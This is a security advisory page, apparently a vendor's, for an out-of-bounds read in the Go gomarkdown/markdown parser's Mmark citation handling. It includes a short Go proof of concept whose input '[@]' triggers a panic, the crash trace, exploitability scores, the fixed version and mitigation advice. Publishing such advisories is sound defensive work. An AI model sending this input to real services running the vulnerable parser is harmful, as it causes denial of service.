GHSA-m9xq-6h2j-65r2 is a high-severity (CVSS 7.5) Out-of-bounds Read vulnerability in github.com/gomarkdown/markdown. 1 public exploit reference exists, so weaponization risk is real. A fix is available for github.com/gomarkdown/markdown — see the affected versions and patch details below.
Markdown vulnerable to Out-of-bounds Read while parsing citations
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m9xq-6h2j-65r2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-m9xq-6h2j-65r2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/gomarkdown/markdownReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.
Details
To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.
PoC
package main
import (
"github.com/gomarkdown/markdown"
"github.com/gomarkdown/markdown/parser"
)
func main() {
ext := parser.CommonExtensions |
parser.Attributes |
parser.OrderedListStart |
parser.SuperSubscript |
parser.Mmark
p := parser.NewWithExtensions(ext)
inp := []byte("[@]")
markdown.ToHTML(inp, p, nil)
}
$ go run main.go
panic: runtime error: index out of range [1] with length 1
goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2
Impact
Denial of Service / panic
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gomarkdown/markdown | all versions | 0.0.0-20230922105210-14b16010c2eego get github.com/gomarkdown/markdown@v0.0.0-20230922105210-14b16010c2ee |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gomarkdown/markdown, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gomarkdown/markdown to 0.0.0-20230922105210-14b16010c2ee or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m9xq-6h2j-65r2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-m9xq-6h2j-65r2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-m9xq-6h2j-65r2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m9xq-6h2j-65r2 in your dependencies?
O3 Security finds GHSA-m9xq-6h2j-65r2 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.